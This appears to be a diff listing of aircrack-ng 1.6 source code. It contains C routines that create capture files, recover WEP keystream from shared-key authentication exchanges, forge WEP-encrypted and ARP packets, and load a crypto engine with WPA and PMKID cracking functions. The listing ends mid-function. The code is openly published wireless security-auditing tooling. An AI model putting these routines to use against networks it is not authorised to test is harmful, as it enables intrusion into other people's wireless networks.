+							   AIRODUMP_NG_CAP_EXT,
+							   IVS2_EXTENSION,
+							   KISMET_CSV_EXT,
+							   KISMET_NETXML_EXT,
+							   AIRODUMP_NG_LOG_CSV_EXT};
+
+/* setup the output files */
+int dump_initialize_multi_format(char * prefix, int ivs_only)
+{
+	REQUIRE(prefix != NULL);
+	REQUIRE(strlen(prefix) > 0);
+
+	const size_t ADDED_LENGTH = 17;
+	size_t i;
+	size_t ofn_len;
+	FILE * f;
+	char * ofn = NULL;
+
+	/* If you only want to see what happening, send all data to /dev/null */
+
+	/* Create a buffer of the length of the prefix + '-' + 2 numbers + '.'
+	   + longest extension ("kismet.netxml") + terminating 0. */
+	ofn_len = strlen(prefix) + ADDED_LENGTH + 1;
+	ofn = (char *) calloc(1, ofn_len);
+	ALLEGE(ofn != NULL);
+
+	opt.f_index = 1;
+
+	/* Make sure no file with the same name & all possible file extensions. */
+	do
+	{
+		for (i = 0; i < ArrayCount(f_ext); i++)
+		{
+			memset(ofn, 0, ofn_len);
+			snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, opt.f_index, f_ext[i]);
+
+			if ((f = fopen(ofn, "rb+")) != NULL)
+			{
+				fclose(f);
+				opt.f_index++;
+				break;
+			}
+		}
+	}
+	/* If we did all extensions then no file with that name or extension exist
+	   so we can use that number */
+	while (i < ArrayCount(f_ext));
+
+	opt.prefix = (char *) calloc(1, strlen(prefix) + 1);
+	ALLEGE(opt.prefix != NULL);
+	memcpy(opt.prefix, prefix, strlen(prefix) + 1);
+
+	/* create the output CSV file */
+
+	if (opt.output_format_csv)
+	{
+		memset(ofn, 0, ofn_len);
+		snprintf(ofn,
+				 ofn_len,
+				 "%s-%02d.%s",
+				 prefix,
+				 opt.f_index,
+				 AIRODUMP_NG_CSV_EXT);
+
+		if ((opt.f_txt = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+	}
+
+	/* create the output for a rolling log CSV file */
+	if (opt.output_format_log_csv)
+	{
+		memset(ofn, 0, ofn_len);
+		snprintf(ofn,
+				 ofn_len,
+				 "%s-%02d.%s",
+				 prefix,
+				 opt.f_index,
+				 AIRODUMP_NG_LOG_CSV_EXT);
+
+		if ((opt.f_logcsv = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+
+		fprintf(opt.f_logcsv,
+				"LocalTime, GPSTime, ESSID, BSSID, Power, "
+				"Security, Latitude, Longitude, Latitude Error, "
+				"Longitude Error, Type\r\n");
+	}
+
+	/* create the output Kismet CSV file */
+	if (opt.output_format_kismet_csv)
+	{
+		memset(ofn, 0, ofn_len);
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, opt.f_index, KISMET_CSV_EXT);
+
+		if ((opt.f_kis = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+	}
+
+	/* create the output GPS file */
+	if (opt.usegpsd)
+	{
+		memset(ofn, 0, ofn_len);
+		snprintf(ofn,
+				 ofn_len,
+				 "%s-%02d.%s",
+				 prefix,
+				 opt.f_index,
+				 AIRODUMP_NG_GPS_EXT);
+
+		if ((opt.f_gps = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+	}
+
+	/* Create the output kismet.netxml file */
+	if (opt.output_format_kismet_netxml)
+	{
+		memset(ofn, 0, ofn_len);
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, opt.f_index, KISMET_NETXML_EXT);
+
+		if ((opt.f_kis_xml = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+	}
+
+	/* create the output packet capture file */
+	if (opt.output_format_pcap)
+	{
+		struct pcap_file_header pfh;
+
+		memset(ofn, 0, ofn_len);
+		snprintf(ofn,
+				 ofn_len,
+				 "%s-%02d.%s",
+				 prefix,
+				 opt.f_index,
+				 AIRODUMP_NG_CAP_EXT);
+
+		if ((opt.f_cap = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+
+		opt.f_cap_name = (char *) calloc(1, strlen(ofn) + 1);
+		ALLEGE(opt.f_cap_name != NULL);
+		memcpy(opt.f_cap_name, ofn, strlen(ofn) + 1);
+
+		pfh.magic = TCPDUMP_MAGIC;
+		pfh.version_major = PCAP_VERSION_MAJOR;
+		pfh.version_minor = PCAP_VERSION_MINOR;
+		pfh.thiszone = 0;
+		pfh.sigfigs = 0;
+		pfh.snaplen = 65535;
+		pfh.linktype = LINKTYPE_IEEE802_11;
+
+		if (fwrite(&pfh, 1, sizeof(pfh), opt.f_cap) != (size_t) sizeof(pfh))
+		{
+			perror("fwrite(pcap file header) failed");
+			free(ofn);
+
+			return (1);
+		}
+
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Created capture file \"%s\".\n", ofn);
+		}
+
+		free(ofn);
+	}
+	else if (ivs_only)
+	{
+		struct ivs2_filehdr fivs2;
+
+		fivs2.version = IVS2_VERSION;
+
+		memset(ofn, 0, ofn_len);
+		snprintf(
+			ofn, ofn_len, "%s-%02d.%s", prefix, opt.f_index, IVS2_EXTENSION);
+
+		if ((opt.f_ivs = fopen(ofn, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			fprintf(stderr, "Could not create \"%s\".\n", ofn);
+			free(ofn);
+
+			return (1);
+		}
+		free(ofn);
+
+		if (fwrite(IVS2_MAGIC, 1, 4, opt.f_ivs) != (size_t) 4)
+		{
+			perror("fwrite(IVs file MAGIC) failed");
+
+			return (1);
+		}
+
+		if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), opt.f_ivs)
+			!= (size_t) sizeof(struct ivs2_filehdr))
+		{
+			perror("fwrite(IVs file header) failed");
+
+			return (1);
+		}
+	}
+	else
+	{
+		free(ofn);
+	}
+
+	return (0);
+}
+
+int dump_initialize(char * prefix)
+{
+	opt.output_format_pcap = 1;
+
+	return dump_initialize_multi_format(prefix, 0);
+}
+
+int check_shared_key(const uint8_t * h80211, size_t caplen)
+{
+	int m_bmac = 16;
+	int m_smac = 10;
+	int m_dmac = 4;
+	size_t n;
+	size_t textlen;
+	int maybe_broken;
+	char ofn[1024];
+	uint8_t text[4096];
+	uint8_t prga[4096 + 4];
+	unsigned int long crc = 0xFFFFFFFF;
+
+	if (!(h80211 != NULL && caplen > 0
+		  && caplen < (int) sizeof(opt.sharedkey[0])))
+	{
+		return (1);
+	}
+
+	if (time(NULL) - opt.sk_start > 5)
+	{
+		/* timeout(5sec) - remove all packets, restart timer */
+		memset(opt.sharedkey, '\x00', sizeof(opt.sharedkey));
+		opt.sk_start = time(NULL);
+	}
+
+	/* is auth packet */
+	if ((h80211[1] & IEEE80211_FC1_PROTECTED) != IEEE80211_FC1_PROTECTED)
+	{
+		/* not encrypted */
+		if ((h80211[24] + (h80211[25] << 8)) == 1)
+		{
+			/* Shared-Key Authentication */
+			if ((h80211[26] + (h80211[27] << 8)) == 2)
+			{
+				/* sequence == 2 */
+				memcpy(opt.sharedkey[0], h80211, caplen);
+				opt.sk_len = caplen - 24;
+			}
+			if ((h80211[26] + (h80211[27] << 8)) == 4)
+			{
+				/* sequence == 4 */
+				memcpy(opt.sharedkey[2], h80211, caplen);
+			}
+		}
+		else
+			return (1);
+	}
+	else
+	{
+		/* encrypted */
+		memcpy(opt.sharedkey[1], h80211, caplen);
+		opt.sk_len2 = caplen - 24 - 4;
+	}
+
+	/* check if the 3 packets form a proper authentication */
+
+	if ((memcmp(opt.sharedkey[0] + m_bmac, NULL_MAC, ETHER_ADDR_LEN) == 0)
+		|| (memcmp(opt.sharedkey[1] + m_bmac, NULL_MAC, ETHER_ADDR_LEN) == 0)
+		|| (memcmp(opt.sharedkey[2] + m_bmac, NULL_MAC, ETHER_ADDR_LEN)
+			== 0)) /* some bssids == zero */
+	{
+		return (1);
+	}
+
+	if ((memcmp(opt.sharedkey[0] + m_bmac,
+				opt.sharedkey[1] + m_bmac,
+				ETHER_ADDR_LEN)
+		 != 0)
+		|| (memcmp(opt.sharedkey[0] + m_bmac,
+				   opt.sharedkey[2] + m_bmac,
+				   ETHER_ADDR_LEN)
+			!= 0)) /* all bssids aren't equal */
+	{
+		return (1);
+	}
+
+	if ((memcmp(opt.sharedkey[0] + m_smac,
+				opt.sharedkey[2] + m_smac,
+				ETHER_ADDR_LEN)
+		 != 0)
+		|| (memcmp(opt.sharedkey[0] + m_smac,
+				   opt.sharedkey[1] + m_dmac,
+				   ETHER_ADDR_LEN)
+			!= 0)) /* SA in 2&4 != DA in 3 */
+	{
+		return (1);
+	}
+
+	if ((memcmp(opt.sharedkey[0] + m_dmac,
+				opt.sharedkey[2] + m_dmac,
+				ETHER_ADDR_LEN)
+		 != 0)
+		|| (memcmp(opt.sharedkey[0] + m_dmac,
+				   opt.sharedkey[1] + m_smac,
+				   ETHER_ADDR_LEN)
+			!= 0)) /* DA in 2&4 != SA in 3 */
+	{
+		return (1);
+	}
+
+	textlen = opt.sk_len;
+
+	maybe_broken = 0;
+
+	/* this check is probably either broken or not very reliable,
+	   since there are known cases when it is hit with valid data.
+	   rather than doing a hard exit here, we now set a flag so
+	   the .xor file is only written if not already existing, in
+	   order to make sure we don't overwrite a good .xor file with
+	   a potentially broken one; but on the other hand if none exist
+	   already, we do want it being written. */
+	if (textlen + 4 != opt.sk_len2)
+	{
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %zu, "
+				   "got %zu bytes)\n",
+				   *(opt.sharedkey[0] + m_dmac),
+				   *(opt.sharedkey[0] + m_dmac + 1),
+				   *(opt.sharedkey[0] + m_dmac + 2),
+				   *(opt.sharedkey[0] + m_dmac + 3),
+				   *(opt.sharedkey[0] + m_dmac + 4),
+				   *(opt.sharedkey[0] + m_dmac + 5),
+				   textlen + 4,
+				   opt.sk_len2);
+		}
+
+		maybe_broken = 1;
+	}
+
+	if (textlen > sizeof(text) - 4) return (1);
+
+	memcpy(text, opt.sharedkey[0] + 24, textlen);
+
+	/* increment sequence number from 2 to 3 */
+	text[2] = (uint8_t)(text[2] + 1);
+
+	for (n = 0; n < textlen; n++)
+		crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
+
+	crc = ~crc;
+
+	/* append crc32 over body */
+	text[textlen] = (uint8_t)((crc) &0xFF);
+	text[textlen + 1] = (uint8_t)((crc >> 8) & 0xFF);
+	text[textlen + 2] = (uint8_t)((crc >> 16) & 0xFF);
+	text[textlen + 3] = (uint8_t)((crc >> 24) & 0xFF);
+
+	/* cleartext XOR cipher */
+	for (n = 0u; n < (textlen + 4u); n++)
+	{
+		prga[4 + n] = (uint8_t)((text[n] ^ opt.sharedkey[1][28 + n]) & 0xFF);
+	}
+
+	/* write IV+index */
+	prga[0] = (uint8_t)(opt.sharedkey[1][24] & 0xFF);
+	prga[1] = (uint8_t)(opt.sharedkey[1][25] & 0xFF);
+	prga[2] = (uint8_t)(opt.sharedkey[1][26] & 0xFF);
+	prga[3] = (uint8_t)(opt.sharedkey[1][27] & 0xFF);
+
+	if (opt.f_xor != NULL)
+	{
+		fclose(opt.f_xor);
+		opt.f_xor = NULL;
+	}
+
+	snprintf(ofn,
+			 sizeof(ofn) - 1,
+			 "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
+			 opt.prefix,
+			 opt.f_index,
+			 *(opt.sharedkey[0] + m_bmac),
+			 *(opt.sharedkey[0] + m_bmac + 1),
+			 *(opt.sharedkey[0] + m_bmac + 2),
+			 *(opt.sharedkey[0] + m_bmac + 3),
+			 *(opt.sharedkey[0] + m_bmac + 4),
+			 *(opt.sharedkey[0] + m_bmac + 5),
+			 "xor");
+
+	if (maybe_broken && (opt.f_xor = fopen(ofn, "r")))
+	{
+		/* do not overwrite existing .xor file with maybe broken one */
+		fclose(opt.f_xor);
+		opt.f_xor = NULL;
+		return (1);
+	}
+
+	opt.f_xor = fopen(ofn, "w");
+	if (opt.f_xor == NULL) return (1);
+
+	for (n = 0; n < textlen + 8; n++) fputc((prga[n] & 0xFF), opt.f_xor);
+
+	fclose(opt.f_xor);
+	opt.f_xor = NULL;
+
+	if (!opt.quiet)
+	{
+		PCT;
+		printf("Got %zu bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   textlen + 4,
+			   *(opt.sharedkey[0] + m_dmac),
+			   *(opt.sharedkey[0] + m_dmac + 1),
+			   *(opt.sharedkey[0] + m_dmac + 2),
+			   *(opt.sharedkey[0] + m_dmac + 3),
+			   *(opt.sharedkey[0] + m_dmac + 4),
+			   *(opt.sharedkey[0] + m_dmac + 5));
+	}
+
+	memset(opt.sharedkey, '\x00', sizeof(opt.sharedkey));
+
+	return (0);
+}
+
+int encrypt_data(uint8_t * data, size_t length)
+{
+	uint8_t cipher[4096];
+	uint8_t K[128];
+
+	if (data == NULL) return (1);
+	if (length < 1 || length > 2044) return (1);
+
+	if (opt.prga == NULL && opt.crypt != CRYPT_WEP)
+	{
+		printf("Please specify a WEP key (-w).\n");
+		return (1);
+	}
+
+	if (opt.prgalen - 4 < length && opt.crypt != CRYPT_WEP)
+	{
+		printf(
+			"Please specify a longer PRGA file (-y) with at least %zu bytes.\n",
+			(length + 4));
+		return (1);
+	}
+
+	/* encrypt data */
+	if (opt.crypt == CRYPT_WEP)
+	{
+		K[0] = rand_u8();
+		K[1] = rand_u8();
+		K[2] = rand_u8();
+		memcpy(K + 3, opt.wepkey, opt.weplen);
+
+		encrypt_wep(data, (int) length, K, (int) opt.weplen + 3);
+		memcpy(cipher, data, length);
+		memcpy(data + 4, cipher, length);
+		memcpy(data, K, 3); //-V512
+		data[3] = 0x00;
+	}
+
+	return (0);
+}
+
+int create_wep_packet(uint8_t * packet, size_t * length, size_t hdrlen)
+{
+	if (packet == NULL) return (1);
+	if (length == NULL) return (1);
+	if (hdrlen >= INT_MAX) return (1);
+	if (*length >= INT_MAX) return (1);
+	if (*length - hdrlen >= INT_MAX) return (1);
+
+	/* write crc32 value behind data */
+	if (add_crc32(packet + hdrlen, (int) (*length - hdrlen)) != 0) return (1);
+
+	/* encrypt data+crc32 and keep a 4byte hole */
+	if (encrypt_data(packet + hdrlen, *length - hdrlen + 4) != 0) return (1);
+
+	/* set WEP bit */
+	packet[1] = (uint8_t)(packet[1] | 0x40);
+
+	*length += 8;
+
+	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
+	return (0);
+}
+
+int set_clear_arp(uint8_t * buf,
+				  uint8_t * smac,
+				  uint8_t * dmac) // set first 22 bytes
+{
+	if (buf == NULL) return (-1);
+
+	memcpy(buf, S_LLC_SNAP_ARP, 8);
+	buf[8] = 0x00;
+	buf[9] = 0x01; // ethernet
+	buf[10] = 0x08; // IP
+	buf[11] = 0x00;
+	buf[12] = 0x06; // hardware size
+	buf[13] = 0x04; // protocol size
+	buf[14] = 0x00;
+	if (memcmp(dmac, BROADCAST, ETHER_ADDR_LEN) == 0)
+		buf[15] = 0x01; // request
+	else
+		buf[15] = 0x02; // reply
+	memcpy(buf + 16, smac, ETHER_ADDR_LEN);
+
+	return (0);
+}
+
+int set_final_arp(uint8_t * buf, uint8_t * mymac)
+{
+	if (buf == NULL) return (-1);
+
+	// shifted by 10bytes to set source IP as target IP :)
+
+	buf[0] = 0x08; //-V525 // IP
+	buf[1] = 0x00;
+	buf[2] = 0x06; // hardware size
+	buf[3] = 0x04; // protocol size
+	buf[4] = 0x00;
+	buf[5] = 0x01; // request
+	memcpy(buf + 6, mymac, ETHER_ADDR_LEN); // sender mac
+	buf[12] = 0xA9; // sender IP 169.254.87.197
+	buf[13] = 0xFE;
+	buf[14] = 0x57;
+	buf[15] = 0xC5; // end sender IP
+
+	return (0);
+}
+
+int set_clear_ip(uint8_t * buf, size_t ip_len) // set first 9 bytes
+{
+	if (buf == NULL) return (-1);
+
+	memcpy(buf, S_LLC_SNAP_IP, 8);
+	buf[8] = 0x45;
+	buf[10] = (uint8_t)((ip_len >> 8) & 0xFF);
+	buf[11] = (uint8_t)(ip_len & 0xFF);
+
+	return (0);
+}
+
+int set_final_ip(uint8_t * buf, uint8_t * mymac)
+{
+	if (buf == NULL) return (-1);
+
+	// shifted by 10bytes to set source IP as target IP :)
+
+	buf[0] = 0x06; // hardware size
+	buf[1] = 0x04; // protocol size
+	buf[2] = 0x00;
+	buf[3] = 0x01; // request
+	memcpy(buf + 4, mymac, ETHER_ADDR_LEN); // sender mac
+	buf[10] = 0xA9; // sender IP from 169.254.XXX.XXX
+	buf[11] = 0xFE;
+	buf[12] = 0x57;
+	buf[13] = 0xC5; // end sender IP
+
+	return (0);
+}
+
+int msleep(int msec)
+{
+	struct timeval tv, tv2;
+	float f, ticks;
+	int n;
+	ssize_t rc;
+
+	if (msec == 0) msec = 1;
+
+	ticks = 0;
+
+	while (1)
+	{
+		/* wait for the next timer interrupt, or sleep */
+
+		if (dev.fd_rtc >= 0)
+		{
+			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+			}
+			else if (rc == 0)
+			{
+				perror("EOF encountered on /dev/rtc");
+			}
+			else
+			{
+				ticks++;
+			}
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(1024);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks += f / 1024;
+		}
+
+		if ((ticks / 1024 * 1000) < msec) continue;
+
+		/* threshold reached */
+		break;
+	}
+
+	return (0);
+}
+
+int read_prga(unsigned char ** dest, char * file)
+{
+	FILE * f;
+	ssize_t size;
+
+	if (file == NULL) return (EXIT_FAILURE);
+	if (*dest == NULL)
+	{
+		*dest = (unsigned char *) malloc(1501);
+		ALLEGE(*dest != NULL);
+	}
+
+	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0)
+	{
+		printf("Is this really a PRGA file: %s?\n", file);
+	}
+
+	f = fopen(file, "r");
+
+	if (f == NULL)
+	{
+		printf("Error opening %s\n", file);
+
+		return (EXIT_FAILURE);
+	}
+
+	fseek(f, 0, SEEK_END);
+	size = ftell(f);
+	if (size == -1)
+	{
+		fclose(f);
+		fprintf(stderr, "ftell failed\n");
+
+		return (EXIT_FAILURE);
+	}
+	rewind(f);
+
+	if (size > 1500) size = 1500;
+
+	if (fread((*dest), (size_t) size, 1, f) != 1)
+	{
+		fclose(f);
+		fprintf(stderr, "fread failed\n");
+
+		return (EXIT_FAILURE);
+	}
+
+	if ((*dest)[3] > 0x03)
+	{
+		printf("Are you really sure that this is a valid key-stream? Because "
+			   "the index is out of range (0-3): %02X\n",
+			   (*dest)[3]);
+	}
+
+	opt.prgalen = (size_t) size;
+
+	fclose(f);
+
+	return (EXIT_SUCCESS);
+}
+
+int set_bitrate(struct wif * wi, int rate)
+{
+	size_t j;
+	int i;
+	int newrate;
+
+	if (wi_set_rate(wi, rate)) return (1);
+
+	// Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M
+	// instead
+	if (rate == 5500000 && wi_get_rate(wi) != 5500000)
+	{
+		if (wi_set_rate(wi, 5000000)) return (1);
+	}
+
+	newrate = wi_get_rate(wi);
+
+	for (j = 0; j < ArrayCount(bitrates); j++)
+	{
+		if (bitrates[j] == rate) break;
+	}
+
+	if (j == ArrayCount(bitrates))
+		i = -1;
+	else
+		i = (int) j;
+
+	if (newrate != rate)
+	{
+		if (i != -1)
+		{
+			if (i > 0)
+			{
+				if (bitrates[i - 1] >= newrate)
+				{
+					printf(
+						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+						(rate / 1000000.0),
+						(wi_get_rate(wi) / 1000000.0));
+
+					return (1);
+				}
+			}
+
+			if (i < (int) ArrayCount(bitrates) - 1)
+			{
+				if (bitrates[i + 1] <= newrate)
+				{
+					printf(
+						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+						(rate / 1000000.0),
+						(wi_get_rate(wi) / 1000000.0));
+
+					return (1);
+				}
+			}
+
+			return (0);
+		}
+
+		printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+			   (rate / 1000000.0),
+			   (wi_get_rate(wi) / 1000000.0));
+
+		return (1);
+	}
+
+	return (0);
+}

aircrack-ng-1.6.tar.gz/lib/libac/support/crypto_engine_loader.c Added

@@ -0,0 +1,547 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <dirent.h>
+#ifndef STATIC_BUILD
+#include <dlfcn.h>
+#endif
+
+#include "aircrack-ng/ce-wpa/crypto_engine.h"
+#include "aircrack-ng/support/crypto_engine_loader.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/cpu/trampoline.h"
+
+#ifndef STATIC_BUILD
+static void * module = NULL;
+#endif
+
+#ifdef STATIC_BUILD
+int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine)
+	= &ac_crypto_engine_init;
+void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine)
+	= &ac_crypto_engine_destroy;
+void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
+									   const uint8_t * essid)
+	= &ac_crypto_engine_set_essid;
+int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
+										int threadid)
+	= &ac_crypto_engine_thread_init;
+void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
+											int threadid)
+	= &ac_crypto_engine_thread_destroy;
+int (*dso_ac_crypto_engine_simd_width)(void) = &ac_crypto_engine_simd_width;
+int (*dso_ac_crypto_engine_wpa_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid)
+	= &ac_crypto_engine_wpa_crack;
+void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid)
+	= &ac_crypto_engine_calc_pke;
+int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid)
+	= &ac_crypto_engine_wpa_pmkid_crack;
+void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid)
+	= &ac_crypto_engine_set_pmkid_salt;
+int (*dso_ac_crypto_engine_supported_features)(void)
+	= &ac_crypto_engine_supported_features;
+uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= &ac_crypto_engine_get_pmk;
+uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= &ac_crypto_engine_get_ptk;
+void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
+										  const uint8_t * essid,
+										  uint32_t essid_length,
+										  uint8_t pmk[40])
+	= &ac_crypto_engine_calc_one_pmk;
+void (*dso_ac_crypto_engine_calc_pmk)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid)
+	= &ac_crypto_engine_calc_pmk;
+void (*dso_ac_crypto_engine_calc_mic)(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  const uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  const uint8_t keyver,
+									  const int vectorIdx,
+									  const int threadid)
+	= &ac_crypto_engine_calc_mic;
+#else
+int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine) = NULL;
+void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine) = NULL;
+void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
+									   const uint8_t * essid)
+	= NULL;
+int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
+										int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
+											int threadid)
+	= NULL;
+int (*dso_ac_crypto_engine_simd_width)(void) = NULL;
+int (*dso_ac_crypto_engine_wpa_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid)
+	= NULL;
+int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid)
+	= NULL;
+int (*dso_ac_crypto_engine_supported_features)(void) = NULL;
+uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= NULL;
+uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= NULL;
+void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
+										  const uint8_t * essid,
+										  uint32_t essid_length,
+										  uint8_t pmk[40])
+	= NULL;
+void (*dso_ac_crypto_engine_calc_pmk)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_calc_mic)(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  const uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  const uint8_t keyver,
+									  const int vectorIdx,
+									  const int threadid)
+	= NULL;
+#endif
+
+#if defined(CYGWIN)
+/*
+	This is merely a hack until code refactoring can occur.
+
+	A new module is needed for handling file and path operations, because
+	this here is only a step towards correctly getting the executable
+	path for all operating systems.
+
+	It was required for Cygwin to determine the location of the
+	Crypto Engine DLLs which are in the same folder as the
+	executable.
+*/
+#include <stdarg.h>
+#include <stdio.h>
+#include <wtypes.h>
+#include <wchar.h>
+#include <sys/cygwin.h>
+
+#include <windows.h>
+#include <shlwapi.h>
+
+static char * get_executable_directory(void)
+{
+	HMODULE hModule = GetModuleHandle(NULL);
+	CHAR path[MAX_PATH];
+
+	GetModuleFileNameA(hModule, path, MAX_PATH);
+	PathRemoveFileSpecA(path);
+
+	cygwin_conv_path_t flags = CCP_WIN_A_TO_POSIX;
+	char * winpath = (char *) cygwin_create_path(flags, path);
+
+	return winpath;
+}
+#endif
+
+EXPORT int ac_crypto_engine_loader_get_available(void)
+{
+	int simd_flags = SIMD_SUPPORTS_NONE;
+	char library_path[8192];
+
+#if defined(WIN32_PORTABLE)
+	char * working_directory = get_executable_directory();
+#else
+	// are we inside of the build path?
+	char * working_directory = get_current_working_directory();
+#endif
+
